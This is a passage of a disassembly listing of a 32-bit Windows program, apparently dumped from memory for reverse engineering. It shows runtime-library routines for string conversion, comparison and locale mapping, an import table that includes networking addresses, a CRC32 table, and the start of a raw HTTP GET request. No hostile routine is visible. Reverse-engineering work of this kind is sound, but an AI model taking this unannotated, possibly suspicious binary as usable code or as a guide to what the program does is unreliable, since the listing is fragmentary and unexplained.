jz short loc_426689 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_42668C ; --------------------------------------------------------------------------- loc_426689: ; CODE XREF: sub_42666F+Dj mov esi, [ebp+arg_0] loc_42668C: ; CODE XREF: sub_42666F+18j mov edi, ecx loc_42668E: ; CODE XREF: sub_42666F+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4266AA add bl, 57h jmp short loc_4266AD ; --------------------------------------------------------------------------- loc_4266AA: ; CODE XREF: sub_42666F+34j add bl, 30h loc_4266AD: ; CODE XREF: sub_42666F+39j mov [ecx], bl inc ecx test esi, esi ja short loc_42668E and byte ptr [ecx], 0 dec ecx loc_4266B8: ; CODE XREF: sub_42666F+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4266B8 pop edi pop esi pop ebx pop ebp retn sub_42666F endp ; =============== S U B R O U T I N E ======================================= sub_4266CB proc near ; CODE XREF: sub_4175C4+E2p ; sub_4175C4+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4D97D0, 0 push ebx jnz short loc_426711 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4266DD: ; CODE XREF: sub_4266CB+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_4266EF cmp bx, 41h jb short loc_4266EF add ebx, 20h loc_4266EF: ; CODE XREF: sub_4266CB+19j ; sub_4266CB+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426701 cmp ax, 41h jb short loc_426701 add eax, 20h loc_426701: ; CODE XREF: sub_4266CB+2Bj ; sub_4266CB+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_426741 cmp bx, ax jz short loc_4266DD jmp short loc_426741 ; --------------------------------------------------------------------------- loc_426711: ; CODE XREF: sub_4266CB+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_42671B: ; CODE XREF: sub_4266CB+72j mov ax, [esi] inc esi push eax inc esi call sub_42687C mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_42687C pop ecx test bx, bx pop ecx jz short loc_42673F cmp bx, ax jz short loc_42671B loc_42673F: ; CODE XREF: sub_4266CB+6Dj pop edi pop esi loc_426741: ; CODE XREF: sub_4266CB+3Dj ; sub_4266CB+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4266CB endp ; =============== S U B R O U T I N E ======================================= sub_42674B proc near ; CODE XREF: ___:00426763p mov dword ptr [ecx], offset off_427D30 mov ecx, [ecx+4] test ecx, ecx jz short locret_42675F push ecx call sub_41BA31 pop ecx locret_42675F: ; CODE XREF: sub_42674B+Bj retn sub_42674B endp ; --------------------------------------------------------------------------- loc_426760: ; DATA XREF: ___:off_427D30o push esi mov esi, ecx call sub_42674B test byte ptr [esp+8], 1 jz short loc_426776 push esi call sub_41D3EF pop ecx loc_426776: ; CODE XREF: ___:0042676Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_42677C: ; DATA XREF: ___:off_427D38o push esi mov esi, ecx call sub_42681F test byte ptr [esp+8], 1 jz short loc_426792 push esi call sub_41D3EF pop ecx loc_426792: ; CODE XREF: ___:00426789j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426798 proc near ; CODE XREF: sub_4263DE+1Dp ; sub_4264B0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D38 push dword ptr [edi] call sub_41B960 inc eax push eax call sub_41D735 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4267C7 push dword ptr [edi] push eax call sub_41C620 pop ecx pop ecx loc_4267C7: ; CODE XREF: sub_426798+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_426798 endp ; =============== S U B R O U T I N E ======================================= sub_4267D5 proc near ; CODE XREF: sub_4264F8+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D38 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426812 push dword ptr [edi+4] call sub_41B960 inc eax push eax call sub_41D735 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426818 push dword ptr [edi+4] push eax call sub_41C620 pop ecx pop ecx jmp short loc_426818 ; --------------------------------------------------------------------------- loc_426812: ; CODE XREF: sub_4267D5+16j mov eax, [edi+4] mov [esi+4], eax loc_426818: ; CODE XREF: sub_4267D5+2Ej ; sub_4267D5+3Bj mov eax, esi pop edi pop esi retn 4 sub_4267D5 endp ; =============== S U B R O U T I N E ======================================= sub_42681F proc near ; CODE XREF: sub_42639A+16j ; ___:0042677Fp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D38 jz short locret_426834 push dword ptr [ecx+4] call sub_41D3EF pop ecx locret_426834: ; CODE XREF: sub_42681F+Aj retn sub_42681F endp ; =============== S U B R O U T I N E ======================================= sub_426835 proc near ; DATA XREF: ___:00427D3Co mov eax, [ecx+4] test eax, eax jnz short locret_426841 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426841: ; CODE XREF: sub_426835+5j retn sub_426835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426842 proc near ; CODE XREF: sub_426453+37p ; sub_42657A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D58 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26513B0h pop edi pop esi leave retn 8 sub_426842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42687C proc near ; CODE XREF: sub_4266CB+56p ; sub_4266CB+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_42688E or ax, ax leave retn ; --------------------------------------------------------------------------- loc_42688E: ; CODE XREF: sub_42687C+Bj cmp dword_4D97D0, 0 jnz short loc_4268A8 cmp ax, 41h jb short locret_4268EF cmp ax, 5Ah ja short locret_4268EF add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4268A8: ; CODE XREF: sub_42687C+19j cmp ax, 100h jnb short loc_4268C2 push 1 push eax call sub_426B2A pop ecx test eax, eax pop ecx jnz short loc_4268C2 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_4268C2: ; CODE XREF: sub_42687C+30j ; sub_42687C+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4D97D0 call sub_4268F1 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_4268EF mov ax, [ebp+var_2] locret_4268EF: ; CODE XREF: sub_42687C+1Fj ; sub_42687C+25j ... leave retn sub_42687C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268F1 proc near ; CODE XREF: sub_42687C+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D78 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4D9A24, esi jnz short loc_426967 push esi push esi push 1 pop ebx push ebx push offset dword_427908 mov edi, 100h push edi push esi call near ptr 2640000h nop test eax, eax jz short loc_426945 mov dword_4D9A24, ebx jmp short loc_426967 ; --------------------------------------------------------------------------- loc_426945: ; CODE XREF: sub_4268F1+4Aj push esi push esi push ebx push offset word_4C91BC push edi push esi call near ptr 2650000h nop test eax, eax jz loc_426AE6 mov dword_4D9A24, 2 loc_426967: ; CODE XREF: sub_4268F1+2Ej ; sub_4268F1+52j cmp [ebp+arg_C], esi jle short loc_42697C push [ebp+arg_C] push [ebp+arg_8] call sub_426AFA pop ecx pop ecx mov [ebp+arg_C], eax loc_42697C: ; CODE XREF: sub_4268F1+79j mov eax, dword_4D9A24 cmp eax, 1 jnz short loc_4269A3 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop jmp loc_426AE8 ; --------------------------------------------------------------------------- loc_4269A3: ; CODE XREF: sub_4268F1+93j cmp eax, 2 jnz loc_426AE6 cmp [ebp+arg_18], esi jnz short loc_4269B9 mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_4269B9: ; CODE XREF: sub_4268F1+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2841072h mov [ebp+var_20], eax cmp eax, esi jz loc_426AE6 mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_4269FF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_4269FF: ; CODE XREF: sub_4268F1+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426AE6 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2841072h test eax, eax jz loc_426AE6 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426AE6 mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426A82 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426A82: ; CODE XREF: sub_4268F1+17Dj cmp ebx, esi jz short loc_426AE6 push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_426AE6 test byte ptr [ebp+arg_4+1], 4 jz short loc_426AC0 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426AE2 cmp eax, edi jl short loc_426AB1 mov eax, edi loc_426AB1: ; CODE XREF: sub_4268F1+1BCj push eax push ebx push [ebp+arg_10] call sub_41BD70 add esp, 0Ch jmp short loc_426AE2 ; --------------------------------------------------------------------------- loc_426AC0: ; CODE XREF: sub_4268F1+1B1j cmp [ebp+arg_14], esi jnz short loc_426AC9 push esi push esi jmp short loc_426ACF ; --------------------------------------------------------------------------- loc_426AC9: ; CODE XREF: sub_4268F1+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426ACF: ; CODE XREF: sub_4268F1+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2700000h mov edi, eax cmp edi, esi jz short loc_426AE6 loc_426AE2: ; CODE XREF: sub_4268F1+1B8j ; sub_4268F1+1CDj mov eax, edi jmp short loc_426AE8 ; --------------------------------------------------------------------------- loc_426AE6: ; CODE XREF: sub_4268F1+66j ; sub_4268F1+B5j ... xor eax, eax loc_426AE8: ; CODE XREF: sub_4268F1+ADj ; sub_4268F1+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268F1 endp ; =============== S U B R O U T I N E ======================================= sub_426AFA proc near ; CODE XREF: sub_4268F1+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426B19 loc_426B0A: ; CODE XREF: sub_426AFA+1Dj cmp word ptr [eax], 0 jz short loc_426B19 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426B0A loc_426B19: ; CODE XREF: sub_426AFA+Ej ; sub_426AFA+14j cmp word ptr [eax], 0 pop esi jnz short loc_426B27 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426B27: ; CODE XREF: sub_426AFA+24j mov eax, edx retn sub_426AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B2A proc near ; CODE XREF: sub_42687C+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426B6A cmp [ebp+arg_0], 100h jnb short loc_426B4E movzx eax, [ebp+arg_0] mov ecx, off_43A684 mov ax, [ecx+eax*2] jmp short loc_426B71 ; --------------------------------------------------------------------------- loc_426B4E: ; CODE XREF: sub_426B2A+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426B7C add esp, 18h test eax, eax jnz short loc_426B6E loc_426B6A: ; CODE XREF: sub_426B2A+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426B6E: ; CODE XREF: sub_426B2A+3Ej mov eax, [ebp+var_4] loc_426B71: ; CODE XREF: sub_426B2A+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426B2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B7C proc near ; CODE XREF: sub_426B2A+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D90 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4D9A28 xor edi, edi cmp eax, edi jnz short loc_426BEB lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427908 push esi nop call near ptr 2600000h test eax, eax jz short loc_426BC9 mov eax, esi jmp short loc_426BE6 ; --------------------------------------------------------------------------- loc_426BC9: ; CODE XREF: sub_426B7C+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4C91BC push esi push edi nop call near ptr 2610000h test eax, eax jz loc_426D2D push 2 pop eax loc_426BE6: ; CODE XREF: sub_426B7C+4Bj mov dword_4D9A28, eax loc_426BEB: ; CODE XREF: sub_426B7C+2Fj cmp eax, 1 jnz short loc_426C07 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600000h jmp loc_426D2F ; --------------------------------------------------------------------------- loc_426C07: ; CODE XREF: sub_426B7C+72j cmp eax, 2 jnz loc_426D2D cmp [ebp+arg_10], edi jnz short loc_426C1D mov eax, dword_4D97E0 mov [ebp+arg_10], eax loc_426C1D: ; CODE XREF: sub_426B7C+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2841072h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426D2D mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BD10 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426C7B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426C7B: ; CODE XREF: sub_426B7C+EAj cmp [ebp+var_2C], edi jz loc_426D2D push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2841072h test eax, eax jz loc_426D2D mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426CD0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426CD0: ; CODE XREF: sub_426B7C+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426D2D mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426CE4 mov eax, dword_4D97D0 loc_426CE4: ; CODE XREF: sub_426B7C+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2610000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426D2D cmp word ptr [esi], 0FFFFh jnz short loc_426D2D push edi push ebx push [ebp+arg_C] call sub_41D400 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426D2F ; --------------------------------------------------------------------------- loc_426D2D: ; CODE XREF: sub_426B7C+61j ; sub_426B7C+8Ej ... xor eax, eax loc_426D2F: ; CODE XREF: sub_426B7C+86j ; sub_426B7C+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426B7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426D44 proc near ; DATA XREF: ___:00427F44o ; FUNCTION CHUNK AT 0040D75D SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D75D sub_426D44 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426D62 mov ecx, [ebp+8] jmp loc_40D75D ; --------------------------------------------------------------------------- locret_426D62: ; CODE XREF: ___:00426D54j retn ; --------------------------------------------------------------------------- loc_426D63: ; DATA XREF: sub_40D327o mov eax, offset dword_427F18 jmp loc_41D08B ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426D78: ; DATA XREF: ___:00427F74o lea ecx, [ebp-1Ch] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426D80: ; DATA XREF: sub_40D4C9o mov eax, offset dword_427F48 jmp loc_41D08B ; --------------------------------------------------------------------------- align 4 loc_426D8C: ; DATA XREF: sub_40DA40o mov eax, offset dword_427F78 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426D9E: ; DATA XREF: sub_4263DEo mov eax, offset dword_427FD8 jmp loc_41D08B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426DB0: ; DATA XREF: sub_426453o mov eax, offset dword_428070 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426DC2: ; DATA XREF: sub_4264B0o mov eax, offset dword_428094 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426DD4: ; DATA XREF: sub_4264F8o mov eax, offset dword_4280B8 jmp loc_41D08B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426DE6: ; DATA XREF: sub_42657Ao mov eax, offset dword_428118 jmp loc_41D08B ; --------------------------------------------------------------------------- dd 84h dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E06BEh, 25F0000h, 25F0A57h dd 25F0A8Bh, 25F0ECCh, 2600000h, 2610000h, 26107FCh, 2610D0Bh dd 2620000h, 26207EDh, 2620A05h dword_42703C dd 2620A23h ; DATA XREF: ___:004230E1r dd 2620AF2h, 2620DE3h, 2620E59h, 2630000h, 2640000h, 2650000h dd 2651026h, 26513B0h, 26518D4h, 26518F3h, 2660000h, 2660747h dd 2660BD9h, 77E75CB5h dword_427078 dd 2670000h ; DATA XREF: sub_40111D+B8r ; ___:004014F9r ... dd 26703D3h, 2680000h, 2680B09h dword_427088 dd 2690000h ; DATA XREF: sub_40111D+29r ; sub_40C3D3+2E5r ... dword_42708C dd 269009Ch ; DATA XREF: ___:004015DCr ; sub_411694+32r dd 269023Ch dword_427094 dd 26902C1h ; DATA XREF: sub_419BAA+B9r dd 2690849h dword_42709C dd 26908A7h ; DATA XREF: sub_4119B7:loc_411A48r dword_4270A0 dd 2690910h ; DATA XREF: ___:loc_4013D9r dd 2690C5Ch, 2690D17h dword_4270AC dd 2690DE0h ; DATA XREF: sub_4098FD+2r dd 2690F19h, 26A0000h dword_4270B8 dd 26A06B3h ; DATA XREF: ___:0040124Dr ; sub_41A9BC+8Cr dword_4270BC dd 26A0783h ; DATA XREF: sub_411694:loc_411780r dd 26B0000h, 26B0D27h dword_4270C8 dd 26C0000h ; DATA XREF: sub_4098FD:loc_409E0Br dword_4270CC dd 26C0373h ; DATA XREF: sub_4098FD+11r ; sub_417269+60r ... dd 26D0000h, 26E0000h, 26E04B4h, 26F0000h, 77F7E300h, 77F7E21Fh dd 26F0594h, 26F06F6h dword_4270F0 dd 2700000h ; DATA XREF: sub_419134+Fr ; sub_41DFD4+54r ... dword_4270F4 dd 2710000h ; DATA XREF: sub_4119B7+Br dd 2720000h, 2730000h dword_427100 dd 273075Dh ; DATA XREF: sub_418791+36r dd 27309ECh, 2730D30h, 2740000h dword_427110 dd 2740662h ; DATA XREF: sub_4118DE+3Ar ; sub_41A152+79r dword_427114 dd 2750000h ; DATA XREF: sub_4117E5+23r ; sub_41A152+3Br dd 27514C6h, 2760000h, 2760B82h, 2770000h, 277058Ah, 2780000h dd 2790000h, 27A0000h, 27A0B45h, 27A0DEDh, 27B0000h, 27B01AEh dd 27B048Fh, 27C0000h, 27C07A1h dword_427154 dd 27D0000h ; DATA XREF: sub_417269+BCr ; --------------------------------------------------------------------------- retf 7D05h ; --------------------------------------------------------------------------- db 2 dword_42715C dd 27E0000h ; DATA XREF: sub_41743B+21r ; sub_4175C4+4Ar dword_427160 dd 27E0C1Ah ; DATA XREF: sub_41743B+10r ; sub_4175C4+40r ... dd 27E0CA6h dword_427168 dd 27F0000h ; DATA XREF: sub_4175C4+56r dd 27F02B1h, 2800000h, 2810000h, 2810659h, 2820000h, 28203BEh dd 282057Bh, 2830000h, 2830755h, 2840000h dword_427194 dd 2841072h ; DATA XREF: sub_419062+13r ; ___:00423156r ... dd 2850000h, 2850505h, 285093Bh, 2850C1Dh, 2860000h, 2870000h dd 2880000h, 2890000h, 28A0000h, 28B0000h, 28B1A0Bh, 28B1A33h dd 28B1C9Ah, 28C0000h dword_4271D0 dd 28C075Bh ; DATA XREF: sub_41E4A2+23Fr align 8 retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_4131AA+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5A01h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_427214 dd 71AB5690h ; DATA XREF: sub_40E9CB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 71AB5DE2h, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427638 dd 2Eh ; DATA XREF: sub_401AC7+3448o ; sub_401AC7+3527o ... dword_42763C dd 2Eh ; DATA XREF: sub_401AC7+3857o ; sub_401AC7+3897o ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4C9+62o db 'Host: 